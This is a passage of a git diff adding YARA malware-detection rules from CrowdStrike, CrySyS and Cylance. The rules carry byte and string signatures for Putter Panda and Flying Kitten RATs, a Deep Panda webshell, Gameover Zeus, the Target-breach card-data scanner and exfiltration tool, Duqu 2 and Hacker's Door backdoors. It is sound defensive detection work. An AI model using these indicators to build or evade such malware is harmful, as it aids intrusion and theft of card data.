+		version = "1.0"
+		in_the_wild = true
+		copyright = "CrowdStrike, Inc."
+		actor = "PUTTER PANDA"
+	
+	strings:
+	    $xorloop = { 8b d0 83 e2 0f 8a 54 14 04 30 14 01 83 c0 01 3b c6 7c ed  }
+	
+	condition:
+	    $xorloop
+	}
\ No newline at end of file
diff --git a/yara-mikesxrs/crowdstrike/CrowdStrike_CSIT_14003_03.yar b/yara-mikesxrs/crowdstrike/CrowdStrike_CSIT_14003_03.yar
new file mode 100644
index 0000000..41a6499
--- /dev/null
+++ b/yara-mikesxrs/crowdstrike/CrowdStrike_CSIT_14003_03.yar
@@ -0,0 +1,31 @@
+rule CrowdStrike_CSIT_14003_03 : installer 
+
+{ 
+
+       meta: 
+
+             copyright = "CrowdStrike, Inc" 
+
+             description = "Flying Kitten Installer" 
+
+             version = "1.0" 
+
+             actor = "FLYING KITTEN" 
+
+             in_the_wild = true 
+
+             reference = "http://www.crowdstrike.com/blog/cat-scratch-fever-crowdstrike-tracks-newly-reported-iranian-actor-flying-kitten/"
+
+       strings: 
+
+             $exename = "IntelRapidStart.exe" 
+
+             $confname = "IntelRapidStart.exe.config" 
+
+             $cabhdr = { 4d 53 43 46 00 00 00 00 } 
+
+       condition: 
+
+             all of them 
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/crowdstrike/CrowdStrike_CSIT_14004_02.yar b/yara-mikesxrs/crowdstrike/CrowdStrike_CSIT_14004_02.yar
new file mode 100644
index 0000000..87d7c21
--- /dev/null
+++ b/yara-mikesxrs/crowdstrike/CrowdStrike_CSIT_14004_02.yar
@@ -0,0 +1,19 @@
+rule CrowdStrike_CSIT_14004_02 : loader backdoor bouncer  {
+meta:
+    description = "Deep Panda Compiled ASP.NET <http://ASP.NET> Webshell"
+    last_modified = "2014-04-25"
+    version = "1.0"
+    report = "CSIT-14004"
+    in_the_wild = true
+    copyright = "CrowdStrike, Inc"
+    actor = "DEEP PANDA"
+   strings:
+    $cookie = "zWiz\x00" wide
+    $cp = "es-DN" wide
+    $enum_fs1 = "File system: {0}" wide
+    $enum_fs2 = "Available: {0} bytes" wide
+    $enum_fs3 = "Total space: {0} bytes" wide
+    $enum_fs4 = "Total size: {0} bytes" wide
+   condition:
+    ($cookie and $cp) or all of ($enum*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/crowdstrike/CrowdStrike_FlyingKitten.yar b/yara-mikesxrs/crowdstrike/CrowdStrike_FlyingKitten.yar
new file mode 100644
index 0000000..0ce3181
--- /dev/null
+++ b/yara-mikesxrs/crowdstrike/CrowdStrike_FlyingKitten.yar
@@ -0,0 +1,37 @@
+rule CrowdStrike_FlyingKitten : rat
+{
+meta: 
+
+            copyright = "CrowdStrike, Inc" 
+
+             description = "Flying Kitten RAT" 
+
+             version = "1.0" 
+
+             actor = "FLYING KITTEN" 
+
+             in_the_wild = true 
+
+       strings: 
+
+             $classpath = "Stealer.Properties.Resources.resources" 
+
+             //$pdbstr = "\Stealer\obj\x86\Release\Stealer.pdb" 
+
+       condition: 
+
+             all of them and 
+
+             uint16(0) == 0x5A4D and uint32(uint32(0x3c)) == 0x4550 and 
+
+             uint16(uint32(0x3C) + 0x16) & 0x2000 == 0 and 
+
+             ((uint16(uint32(0x3c)+24) == 0x010b and 
+
+            uint32(uint32(0x3c)+232) > 0) or 
+
+             (uint16(uint32(0x3c)+24) == 0x020b and 
+
+            uint32(uint32(0x3c)+248) > 0)) 
+
+} 
\ No newline at end of file
diff --git a/yara-mikesxrs/crowdstrike/CrowdStrike_PutterPanda_01 - fourh_stack_strings putterpanda.yar b/yara-mikesxrs/crowdstrike/CrowdStrike_PutterPanda_01 - fourh_stack_strings putterpanda.yar
new file mode 100644
index 0000000..6b41bcf
--- /dev/null
+++ b/yara-mikesxrs/crowdstrike/CrowdStrike_PutterPanda_01 - fourh_stack_strings putterpanda.yar	
@@ -0,0 +1,59 @@
+rule CrowdStrike_PutterPanda_01 : fourh_stack_strings putterpanda
+	{
+	meta:
+		description = "PUTTER PANDA - 4H RAT"
+                author = "CrowdStrike"
+		date = "2014-03-30"
+		version = "1.0"
+		in_the_wild = true
+		copyright = "CrowdStrike, Inc."
+		actor = "PUTTER PANDA"
+		yara_version = ">=1.6"
+	
+	strings:
+	    $key_combined_1 = { C6 44 24 ?? 34 C6 44 24 ?? 36 C6 44 24 ?? 21 C6 44 24 ?? 79 C6 44 24 ?? 6F C6 44 24 ?? 00 }
+	
+	
+	    // ebp
+	    $keyfrag_ebp_1 = { C6 45 ?? 6C }    // ld66!yo
+	    $keyfrag_ebp_2 = { C6 45 ?? 64 } 
+	    $keyfrag_ebp_3 = { C6 45 ?? 34 }
+	    $keyfrag_ebp_4 = { C6 45 ?? 36 }
+	    $keyfrag_ebp_5 = { C6 45 ?? 21 }
+	    $keyfrag_ebp_6 = { C6 45 ?? 79 }
+	    $keyfrag_ebp_7 = { C6 45 ?? 6F }
+	
+	    // esp
+	    $keyfrag_esp_1 = { c6 44 ?? 6C }    // ld66!yo
+	    $keyfrag_esp_2 = { c6 44 ?? 64 }
+	    $keyfrag_esp_3 = { c6 44 ?? 34 }
+	    $keyfrag_esp_4 = { c6 44 ?? 36 }
+	    $keyfrag_esp_5 = { c6 44 ?? 21 }
+	    $keyfrag_esp_6 = { c6 44 ?? 79 }
+	    $keyfrag_esp_7 = { c6 44 ?? 6F }
+	
+	    // reduce FPs by checking for some common strings
+	    $check_zeroes = "0000000"
+	    $check_param = "Invalid parameter"
+	    $check_ercv = "ercv= %d"
+	    $check_unk = "unknown"
+	
+	condition:
+	    any of ($key_combined*) or 
+	    (1 of ($check_*) and
+	        (
+	            (
+	                all of ($keyfrag_ebp_*) and
+	                for any i in (1..#keyfrag_ebp_5) : (
+	                    for all of ($keyfrag_ebp_*): ($ in (@keyfrag_ebp_5[i]-100..@keyfrag_ebp_5[i]+100))
+	                )
+	            )
+	            or
+	            (
+	                for any i in (1..#keyfrag_esp_5) : (
+	                    for all of ($keyfrag_esp_*): ($ in (@keyfrag_esp_5[i]-100..@keyfrag_esp_5[i]+100))
+	                )
+	            )
+	        )
+	    )
+	}
\ No newline at end of file
diff --git a/yara-mikesxrs/crowdstrike/Crowdstrike_index.yara b/yara-mikesxrs/crowdstrike/Crowdstrike_index.yara
new file mode 100644
index 0000000..f7d9df2
--- /dev/null
+++ b/yara-mikesxrs/crowdstrike/Crowdstrike_index.yara
@@ -0,0 +1,293 @@
+rule CrowdStrike_PutterPanda_01 : fourh_stack_strings putterpanda
+	{
+	meta:
+		description = "PUTTER PANDA - 4H RAT"
+                author = "CrowdStrike"
+		date = "2014-03-30"
+		version = "1.0"
+		in_the_wild = true
+		copyright = "CrowdStrike, Inc."
+		actor = "PUTTER PANDA"
+		yara_version = ">=1.6"
+	
+	strings:
+	    $key_combined_1 = { C6 44 24 ?? 34 C6 44 24 ?? 36 C6 44 24 ?? 21 C6 44 24 ?? 79 C6 44 24 ?? 6F C6 44 24 ?? 00 }
+	
+	
+	    // ebp
+	    $keyfrag_ebp_1 = { C6 45 ?? 6C }    // ld66!yo
+	    $keyfrag_ebp_2 = { C6 45 ?? 64 } 
+	    $keyfrag_ebp_3 = { C6 45 ?? 34 }
+	    $keyfrag_ebp_4 = { C6 45 ?? 36 }
+	    $keyfrag_ebp_5 = { C6 45 ?? 21 }
+	    $keyfrag_ebp_6 = { C6 45 ?? 79 }
+	    $keyfrag_ebp_7 = { C6 45 ?? 6F }
+	
+	    // esp
+	    $keyfrag_esp_1 = { c6 44 ?? 6C }    // ld66!yo
+	    $keyfrag_esp_2 = { c6 44 ?? 64 }
+	    $keyfrag_esp_3 = { c6 44 ?? 34 }
+	    $keyfrag_esp_4 = { c6 44 ?? 36 }
+	    $keyfrag_esp_5 = { c6 44 ?? 21 }
+	    $keyfrag_esp_6 = { c6 44 ?? 79 }
+	    $keyfrag_esp_7 = { c6 44 ?? 6F }
+	
+	    // reduce FPs by checking for some common strings
+	    $check_zeroes = "0000000"
+	    $check_param = "Invalid parameter"
+	    $check_ercv = "ercv= %d"
+	    $check_unk = "unknown"
+	
+	condition:
+	    any of ($key_combined*) or 
+	    (1 of ($check_*) and
+	        (
+	            (
+	                all of ($keyfrag_ebp_*) and
+	                for any i in (1..#keyfrag_ebp_5) : (
+	                    for all of ($keyfrag_ebp_*): ($ in (@keyfrag_ebp_5[i]-100..@keyfrag_ebp_5[i]+100))
+	                )
+	            )
+	            or
+	            (
+	                for any i in (1..#keyfrag_esp_5) : (
+	                    for all of ($keyfrag_esp_*): ($ in (@keyfrag_esp_5[i]-100..@keyfrag_esp_5[i]+100))
+	                )
+	            )
+	        )
+	    )
+	}
+    
+rule CrowdStrike_PutterPanda_02 : rc4_dropper putterpanda
+	{
+	meta:
+		description = "PUTTER PANDA - RC4 dropper"
+		date = "2014-03-30"
+		version = "1.0"
+		in_the_wild = true
+		copyright = "CrowdStrike, Inc."
+		actor = "PUTTER PANDA"
+	
+	strings:
+	    $res_lock = "LockResource"
+	    $res_size = "SizeofResource"
+	    $res_load = "LoadResource"
+	
+	    $com = "COMSPEC"
+	
+	    //$stack_h = { C6 4? [1-2] 68 }    
+	    //$stack_o = { C6 4? [1-2] 6F }
+	    //$stack_v = { C6 4? [1-2] 76 }
+	    //$stack_c = { C6 4? [1-2] 63 }
+	    //$stack_x = { C6 4? [1-2] 78 }
+	    //$stack_dot = { C6 4? [1-2] 2E }
+	
+	    $cryptaq = "CryptAcquireContextA"
+	
+	condition:
+	    uint16(0) == 0x5A4D and
+	    (all of ($res_*)) and 
+	    /*(all of ($stack_*)) and*/
+	    $cryptaq and $com
+	}
+	
+rule CrowdStrike_PutterPanda_03 : threepara_para_implant putterpanda
+	{
+	meta:
+		description = "PUTTER PANDA - 3PARA RAT"
+		date = "2014-03-30"
+		version = "1.0"
+		in_the_wild = true
+		copyright = "CrowdStrike, Inc."
+		actor = "PUTTER PANDA"
+	
+	strings:
+	    $parafmt        = "%s%dpara1=%dpara2=%dpara3=%d"
+	    $class_attribe  = "CCommandAttribe"
+	    $class_cd       = "CCommandCD"
+	    $class_cmd      = "CCommandCMD"
+	    $class_nop      = "CCommandNop"
+	
+	condition:
+	    $parafmt or all of ($class_*)
+	}
+	
+	rule CrowdStrike_PutterPanda_04: pngdowner putterpanda
+	{
+	meta:
+		description = "PUTTER PANDA - PNGDOWNER"
+		date = "2014-03-30"
+		version = "1.0"
+		in_the_wild = true
+		copyright = "CrowdStrike, Inc."
+		actor = "PUTTER PANDA"
+	
+	strings:
+	    $myagent = "myAgent"
+	    $readfile = "read file error:"
+	    $downfile = "down file success"
+	    $avail = "Avaliable data:%u bytes"
+	
+	condition:
+	    3 of them
+	}
+
+rule CrowdStrike_PutterPanda_05 : httpclient putterpanda
+	{
+	meta:
+		description = "PUTTER PANDA - HTTPCLIENT"
+		date = "2014-03-30"
+		version = "1.0"
+		in_the_wild = true
+		copyright = "CrowdStrike, Inc."
+		actor = "PUTTER PANDA"
+	
+	strings:
+	    $recv_wrong = "Error:recv worng"
+	
+	condition:
+	    any of them
+	}
+    
+rule CrowdStrike_PutterPanda_06 : xor_dropper putterpanda
+	{
+	meta:
+		description = "PUTTER PANDA - XOR based dropper"
+		date = "2014-03-30"
+		version = "1.0"
+		in_the_wild = true
+		copyright = "CrowdStrike, Inc."
+		actor = "PUTTER PANDA"
+	
+	strings:
+	    $xorloop = { 8b d0 83 e2 0f 8a 54 14 04 30 14 01 83 c0 01 3b c6 7c ed  }
+	
+	condition:
+	    $xorloop
+	}
+    
+rule CrowdStrike_CSIT_14003_03 : installer 
+
+{ 
+
+       meta: 
+
+             copyright = "CrowdStrike, Inc" 
+
+             description = "Flying Kitten Installer" 
+
+             version = "1.0" 
+
+             actor = "FLYING KITTEN" 
+
+             in_the_wild = true 
+
+             reference = "http://www.crowdstrike.com/blog/cat-scratch-fever-crowdstrike-tracks-newly-reported-iranian-actor-flying-kitten/"
+
+       strings: 
+
+             $exename = "IntelRapidStart.exe" 
+
+             $confname = "IntelRapidStart.exe.config" 
+
+             $cabhdr = { 4d 53 43 46 00 00 00 00 } 
+
+       condition: 
+
+             all of them 
+
+}
+
+rule CrowdStrike_FlyingKitten : rat
+{
+meta: 
+
+            copyright = "CrowdStrike, Inc" 
+
+             description = "Flying Kitten RAT" 
+
+             version = "1.0" 
+
+             actor = "FLYING KITTEN" 
+
+             in_the_wild = true 
+
+       strings: 
+
+             $classpath = "Stealer.Properties.Resources.resources" 
+
+             //$pdbstr = "\Stealer\obj\x86\Release\Stealer.pdb" 
+
+       condition: 
+
+             all of them and 
+
+             uint16(0) == 0x5A4D and uint32(uint32(0x3c)) == 0x4550 and 
+
+             uint16(uint32(0x3C) + 0x16) & 0x2000 == 0 and 
+
+             ((uint16(uint32(0x3c)+24) == 0x010b and 
+
+            uint32(uint32(0x3c)+232) > 0) or 
+
+             (uint16(uint32(0x3c)+24) == 0x020b and 
+
+            uint32(uint32(0x3c)+248) > 0)) 
+
+} 
+
+/*
+
+//error with rule no $i
+
+rule CrowdStrike_P2P_Zeus
+{
+    meta:
+        copyright = "CrowdStrike, Inc"
+	author = "Crowdstrike, Inc"
+        description = "P2P Zeus (Gameover)"
+        version = "1.0"
+        last_modified = "2013-11-21"
+        actor = "Gameover Spider"
+        malware_family = "P2P Zeus"
+        in_the_wild = true
+        
+    condition:
+        any of them or
+        for any i in (0..filesize) :
+        (
+            uint32(i) ^ uint32(i+4) == 0x00002606
+            and uint32(i) ^ uint32(i+8) == 0x31415154
+            and uint32(i) ^ uint32(i+12) == 0x00000a06
+            and uint32(i) ^ uint32(i+16) == 0x00010207
+            and uint32(i) ^ uint32(i+20) == 0x7cf1aa2d
+            and uint32(i) ^ uint32(i+24) == 0x4390ca7b
+            and uint32(i) ^ uint32(i+28) == 0xa96afd9d
+            and uint32(i) ^ uint32(i+32) == 0x0b039138
+            and uint32(i) ^ uint32(i+36) == 0xb3e50578
+            and uint32(i) ^ uint32(i+40) == 0x896eaf36
+            and uint32(i) ^ uint32(i+44) == 0x37a3f8c9
+            and uint32(i) ^ uint32(i+48) == 0xb1c31bcb
+            and uint32(i) ^ uint32(i+52) == 0xcb58f22c
+            and uint32(i) ^ uint32(i+56) == 0x00491be8
+            and uint32(i) ^ uint32(i+60) == 0x0a2a748f
+        )
+}
+
+*/
+
+rule CrowdStrike_CVE_2014_4113 {
+meta:
+	copyright = "CrowdStrike, Inc"
+	description = "CVE-2014-4113 Microsoft Windows x64 Local Privilege Escalation Exploit"
+	version = "1.0"
+	last_modified = "2014-10-14"
+	in_the_wild = true
+strings:
+	$const1 = { fb ff ff ff }
+	$const2 = { 0b 00 00 00 01 00 00 00 }
+	$const3 = { 25 00 00 00 01 00 00 00 }
+	$const4 = { 8b 00 00 00 01 00 00 00 }
+condition:
+	all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/crowdstrike/Crowdstrike_target_breach.yar b/yara-mikesxrs/crowdstrike/Crowdstrike_target_breach.yar
new file mode 100644
index 0000000..0439403
--- /dev/null
+++ b/yara-mikesxrs/crowdstrike/Crowdstrike_target_breach.yar
@@ -0,0 +1,88 @@
+rule CrowdStrike_targetbreach_exfil
+
+{
+
+    meta:
+
+        description = "Tool Responsible for Exfiltration of CC Data."
+
+        last_modified = "2014-01-16"
+
+        version = "1.0"
+
+        in_the_wild = true
+
+        copyright = "CrowdStrike, Inc"
+
+        reference = "https://www.crowdstrike.com/blog/actionable-indicators-detection-signs-compromise-target-related-breaches/"
+
+    strings:
+
+        $fmt = "data_%d_%d_%d_%d_%d.txt"
+
+        $scramble1 = ""-BFr423mI_6uaMtg$bxl\sd1iU/0ok.cpe"
+
+        $scramble2 = "gBb63-t2p_.rkd0uaeU/x1c$s\o4il"
+
+        $scramble3 = "x"a-201Mt6b3sI$ /ceBok_i\m.rdpU4Fulg"
+
+        $scramble4 = "omv3.a 1%tNd\4ils60n2Te_w"
+
+        $scramble5 = "4mei gd2%rob-"
+
+        $scramble6 = "8pCt1wq_hynlsc0.u9a"
+
+    condition:
+
+        $fmt and 1 of ($scramble*)
+
+}
+
+
+
+rule CrowdStrike_blackpos_memscanner
+
+{
+
+    meta:
+
+        description = "Tool Responsible for Scanning Memory For CC Data."
+
+        last_modified = "2014-01-16"
+
+        version = "1.0"
+
+        in_the_wild = true
+
+        copyright = "CrowdStrike, Inc"
+        
+        reference = "https://www.crowdstrike.com/blog/actionable-indicators-detection-signs-compromise-target-related-breaches/"
+
+
+    strings:
+
+        $message1 = "S region:"
+
+        $message2 = " found ["
+
+        $message3 = "] bytes of pattern:["
+
+        $message4 = "CC2 region:"
+
+        $message5 = "CC memregion:"
+
+        $message6 = "KAPTOXA"
+
+        $message7 = "=== pid:"
+
+        $message8 = "scan process with pid for kartoxa and string pattern:"
+
+        $message9 = "scan process with pid for kartoxa:"
+
+        $message11 = "scan all processes for string pattern:"
+
+    condition:
+
+        2 of ($message*)
+
+}
diff --git a/yara-mikesxrs/crowdstrike/gameover zeus.yar b/yara-mikesxrs/crowdstrike/gameover zeus.yar
new file mode 100644
index 0000000..1460a90
--- /dev/null
+++ b/yara-mikesxrs/crowdstrike/gameover zeus.yar	
@@ -0,0 +1,39 @@
+/*
+
+//error with rule no $i
+
+rule CrowdStrike_P2P_Zeus
+{
+    meta:
+        copyright = "CrowdStrike, Inc"
+    author = "Crowdstrike, Inc"
+        description = "P2P Zeus (Gameover)"
+        version = "1.0"
+        last_modified = "2013-11-21"
+        actor = "Gameover Spider"
+        malware_family = "P2P Zeus"
+        in_the_wild = true
+        
+    condition:
+        any of them or
+        for any i in (0..filesize) :
+        (
+            uint32(i) ^ uint32(i+4) == 0x00002606
+            and uint32(i) ^ uint32(i+8) == 0x31415154
+            and uint32(i) ^ uint32(i+12) == 0x00000a06
+            and uint32(i) ^ uint32(i+16) == 0x00010207
+            and uint32(i) ^ uint32(i+20) == 0x7cf1aa2d
+            and uint32(i) ^ uint32(i+24) == 0x4390ca7b
+            and uint32(i) ^ uint32(i+28) == 0xa96afd9d
+            and uint32(i) ^ uint32(i+32) == 0x0b039138
+            and uint32(i) ^ uint32(i+36) == 0xb3e50578
+            and uint32(i) ^ uint32(i+40) == 0x896eaf36
+            and uint32(i) ^ uint32(i+44) == 0x37a3f8c9
+            and uint32(i) ^ uint32(i+48) == 0xb1c31bcb
+            and uint32(i) ^ uint32(i+52) == 0xcb58f22c
+            and uint32(i) ^ uint32(i+56) == 0x00491be8
+            and uint32(i) ^ uint32(i+60) == 0x0a2a748f
+        )
+}
+
+*/
\ No newline at end of file
diff --git a/yara-mikesxrs/crowdstrike/rule CrowdStrike_PutterPanda_04_ pngdowner putterpanda.yar b/yara-mikesxrs/crowdstrike/rule CrowdStrike_PutterPanda_04_ pngdowner putterpanda.yar
new file mode 100644
index 0000000..738ef04
--- /dev/null
+++ b/yara-mikesxrs/crowdstrike/rule CrowdStrike_PutterPanda_04_ pngdowner putterpanda.yar	
@@ -0,0 +1,19 @@
+rule CrowdStrike_PutterPanda_04: pngdowner putterpanda
+	{
+	meta:
+		description = "PUTTER PANDA - PNGDOWNER"
+		date = "2014-03-30"
+		version = "1.0"
+		in_the_wild = true
+		copyright = "CrowdStrike, Inc."
+		actor = "PUTTER PANDA"
+	
+	strings:
+	    $myagent = "myAgent"
+	    $readfile = "read file error:"
+	    $downfile = "down file success"
+	    $avail = "Avaliable data:%u bytes"
+	
+	condition:
+	    3 of them
+	}
\ No newline at end of file
diff --git a/yara-mikesxrs/crysys/duqu2.yar b/yara-mikesxrs/crysys/duqu2.yar
new file mode 100644
index 0000000..ad22b3a
--- /dev/null
+++ b/yara-mikesxrs/crysys/duqu2.yar
@@ -0,0 +1,12 @@
+rule duqu2
+{
+	meta: 
+		Reference = "http://www.crysys.hu/duqu2/duqu2.pdf"
+
+	strings:
+		$a = { 0F B6 C8 8B C1 0F AF C9 83 E0 ?? C1 E0 ?? 05 ?? ?? ?? ?? 0F AF D8 8B ?? ?? ?? 33 D9 }
+		$b = { 0F 84 ?? ?? ?? ?? 0F B7 06 B9 ?? ?? ?? ?? 33 C1 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B }
+
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/BackDoorLogger.yar b/yara-mikesxrs/cylance/BackDoorLogger.yar
new file mode 100644
index 0000000..923cd47
--- /dev/null
+++ b/yara-mikesxrs/cylance/BackDoorLogger.yar
@@ -0,0 +1,12 @@
+rule BackDoorLogger
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		
+ 	strings:
+ 		$s1 = "BackDoorLogger"
+ 		$s2 = "zhuAddress"
+
+ 	condition:
+ 		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/Hkdoor_DLL.yar b/yara-mikesxrs/cylance/Hkdoor_DLL.yar
new file mode 100644
index 0000000..5ea5c5b
--- /dev/null
+++ b/yara-mikesxrs/cylance/Hkdoor_DLL.yar
@@ -0,0 +1,22 @@
+
+import "pe"
+
+rule hkdoor_backdoor_dll {
+    meta:
+        author = "Cylance"
+        description = "Hacker's Door Backdoor DLL"
+        reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
+
+    strings:
+        $s1 = "The version of personal hacker's door server is" fullword ascii
+        $s2 = "The connect back interval is %d (minutes)" fullword ascii
+        $s3 = "I'mhackeryythac1977" fullword ascii
+        $s4 = "Welcome to http://www.yythac.com" fullword ascii
+        $s5 = "SeLoadDriverPrivilege" fullword ascii
+
+    condition:
+        uint16(0) == 0x5a4d and filesize < 400KB and ( 3 of ($s*) ) and pe.characteristics & pe.DLL and pe.imports("ws2_32.dll", "WSAStartup") and pe.imports("ws2_32.dll", "sendto")
+}
+
+
+
diff --git a/yara-mikesxrs/cylance/Hkdoor_backdoor.yar b/yara-mikesxrs/cylance/Hkdoor_backdoor.yar
new file mode 100644
index 0000000..4fbe80d
--- /dev/null
+++ b/yara-mikesxrs/cylance/Hkdoor_backdoor.yar
@@ -0,0 +1,24 @@
+import "pe"
+
+rule hkdoor_backdoor {
+   meta:
+      author = "Cylance"
+      description = "Hacker's Door Backdoor"
+      reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
+
+
+   strings:
+      $s1 = "http://www.yythac.com" fullword ascii
+      $s2 = "Example:%s 192.168.1.100 139 -p yyt_hac -t 1" fullword ascii
+      $s3 = "password-----------The hacker's door's password" fullword ascii
+      $s4 = "It is the client of hacker's door %d.%d public version" fullword ascii
+      $s5 = "hkdoordll.dll" fullword ascii
+      $s6 = "http://www.yythac.com/images/mm.jpg" fullword ascii
+      $s7 = "I'mhackeryythac1977" fullword ascii
+      $s8 = "yythac.yeah.net" fullword ascii
+
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 400KB and
+      ( 4 of ($s*) )
+}
diff --git a/yara-mikesxrs/cylance/Hkdoor_driver.yar b/yara-mikesxrs/cylance/Hkdoor_driver.yar
new file mode 100644
index 0000000..749f23a
--- /dev/null
+++ b/yara-mikesxrs/cylance/Hkdoor_driver.yar
@@ -0,0 +1,19 @@
+rule hkdoor_driver {
+    meta:
+        author = "Cylance"
+        description = "Hacker's Door Driver"
+        reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
+
+    strings:
+        $s1 = "ipfltdrv.sys" fullword ascii
+        $s2 = "Patch Success." fullword ascii
+        $s3 = "\\DosDevices\\kifes" fullword ascii
+        $s4 = "\\Device\\kifes" fullword ascii
+        $s5 = {75 28 22 36 30 5b 4a 77 7b 58 4d 6c 3f 73 63 5e 38 47 7c 7d 7a 40 3a 41 2a 45 4e 44 79 64 67 6d 65 74 21 39 23 3c 20 49 43 69 4c 3b 31 57 2f 55 3e 26 59 62 61 54 53 5a 2d 25 78 35 5c 76 3d 34 27 6b 5f 72 2c 32 4f 2b 71 66 42 33 37 56 52 60 5d 29 4b 51 2e 6f 50 68 6e 6a 24 48 7e 46 70}
+
+    condition:
+        uint16(0) == 0x5a4d and
+        pe.subsystem == pe.SUBSYSTEM_NATIVE and
+        ( 4 of ($s*) )
+
+}
diff --git a/yara-mikesxrs/cylance/Hkdoor_dropper.yar b/yara-mikesxrs/cylance/Hkdoor_dropper.yar
new file mode 100644
index 0000000..cb22332
--- /dev/null
+++ b/yara-mikesxrs/cylance/Hkdoor_dropper.yar
@@ -0,0 +1,28 @@
+import "pe"
+
+rule hkdoor_dropper {
+    meta:
+        description = "Hacker's Door Dropper"
+        author = "Cylance"
+        reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
+
+    strings:
+        $s1 = "The version of personal hacker's door server is" fullword ascii
+        $s2 = "The connect back interval is %d (minutes)" fullword ascii
+        $s3 = "I'mhackeryythac1977" fullword ascii
+        $s4 = "Welcome to http://www.yythac.com" fullword ascii
+        $s5 = "SeLoadDriverPrivilege" fullword ascii
+        $s6 = "\\drivers\\ntfs.sys" fullword ascii
+        $s7 = "kifes" fullword ascii
+
+    condition:
+        uint16(0) == 0x5a4d and
+        filesize < 1000KB and
+        ( 4 of ($s*) ) and
+        pe.number_of_resources > 0 and
+        for any i in (0..pe.number_of_resources - 1):
+            (pe.resources[i].type_string == "B\x00I\x00N\x00" and
+            uint16(pe.resources[i].offset) == 0x5A4D) and
+        pe.imports("KERNEL32.dll", "FindResourceW") and
+        pe.imports("KERNEL32.dll", "LoadResource")
+}
diff --git a/yara-mikesxrs/cylance/Jasus.yar b/yara-mikesxrs/cylance/Jasus.yar
new file mode 100644
index 0000000..94c7e9f
--- /dev/null
+++ b/yara-mikesxrs/cylance/Jasus.yar
@@ -0,0 +1,13 @@
+rule Jasus
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+ 	strings:
+ 		$s1 = "pcap_dump_open"
+ 		$s2 = "Resolving IPs to poison..."
+ 		$s3 = "WARNNING: Gateway IP can not be found"
+ 		
+ 	condition:
+ 		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/LoggerModule.yar b/yara-mikesxrs/cylance/LoggerModule.yar
new file mode 100644
index 0000000..744c1f8
--- /dev/null
+++ b/yara-mikesxrs/cylance/LoggerModule.yar
@@ -0,0 +1,12 @@
+rule LoggerModule
+{
+	meta:
+		reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+	strings:
+		$s1 = "%s-%02d%02d%02d%02d%02d.r"
+		$s2 = "C:\\Users\\%s\\AppData\\Cookies\\"
+
+ 	condition:
+ 		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/MiSType_Backdoor_Packed.yar b/yara-mikesxrs/cylance/MiSType_Backdoor_Packed.yar
new file mode 100644
index 0000000..feddd0d
--- /dev/null
+++ b/yara-mikesxrs/cylance/MiSType_Backdoor_Packed.yar
@@ -0,0 +1,14 @@
+rule MiSType_Backdoor_Packed
+{
+	meta:
+		author = "Cylance SPEAR Team"
+		note = "Probably Prone to False Positive"
+
+	strings:
+		$upx = {33 2E 30 33 00 55 50 58 21}
+		$send_httpquery = {00 00 00 48 74 74 70 51 75 65 72 79 49 6E 66 6F 41 00 00 73 65 6E 64 00 00}
+		$delphi_sec_pe = {50 45 00 00 4C 01 03 00 19 5E 42 2A}
+	
+	condition:
+		filesize < 100KB and $upx and $send_httpquery and $delphi_sec_pe
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/Misdat_Backdoor.yar b/yara-mikesxrs/cylance/Misdat_Backdoor.yar
new file mode 100644
index 0000000..48d692d
--- /dev/null
+++ b/yara-mikesxrs/cylance/Misdat_Backdoor.yar
@@ -0,0 +1,28 @@
+rule Misdat_Backdoor
+{
+	meta:
+		author = "Cylance SPEAR Team"
+		/* Decode Function
+		CODE:00406C71 8B 55 F4					mov     edx, [ebp+var_C]
+		CODE:00406C74 8A 54 1A FF				mov     dl, [edx+ebx-1]
+		CODE:00406C78 8B 4D F8					mov     ecx, [ebp+var_8]
+		CODE:00406C7B C1 E9 08 					shr     ecx, 8
+		CODE:00406C7E 32 D1						xor     dl, cl
+		CODE:00406C80 88 54 18 FF				mov     [eax+ebx-1], dl
+		CODE:00406C84 8B 45 F4					mov     eax, [ebp+var_C]
+		CODE:00406C87 0F B6 44 18 FF			movzx   eax, byte ptr [eax+ebx-1]
+		CODE:00406C8C 03 45 F8					add     eax, [ebp+var_8]
+		CODE:00406C8F 69 C0 D9 DB 00 00  		imul    eax, 0DBD9h
+		CODE:00406C95 05 3B DA 00 00 			add     eax, 0DA3Bh
+		CODE:00406C9A 89 45 F8 					mov     [ebp+var_8], eax
+		CODE:00406C9D 43 						inc     ebx
+		CODE:00406C9E 4E 						dec     esi
+		CODE:00406C9F 75 C9 					jnz     short loc_406C6A
+		*/
+	strings:
+		$imul = {03 45 F8 69 C0 D9 DB 00 00 05 3B DA 00 00}
+		$delphi = {50 45 00 00 4C 01 08 00 19 5E 42 2A}
+		
+	condition:
+		$imul and $delphi
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/Misdat_Backdoor_Packed.yar b/yara-mikesxrs/cylance/Misdat_Backdoor_Packed.yar
new file mode 100644
index 0000000..52ccfeb
--- /dev/null
+++ b/yara-mikesxrs/cylance/Misdat_Backdoor_Packed.yar
@@ -0,0 +1,15 @@
+rule Misdat_Backdoor_Packed
+{
+	meta:
+		author = "Cylance SPEAR Team"
+		note = "Probably Prone to False Positive"
+
+	strings:
+		$upx = {33 2E 30 33 00 55 50 58 21}
+		$send = {00 00 00 73 65 6E 64 00 00 00}
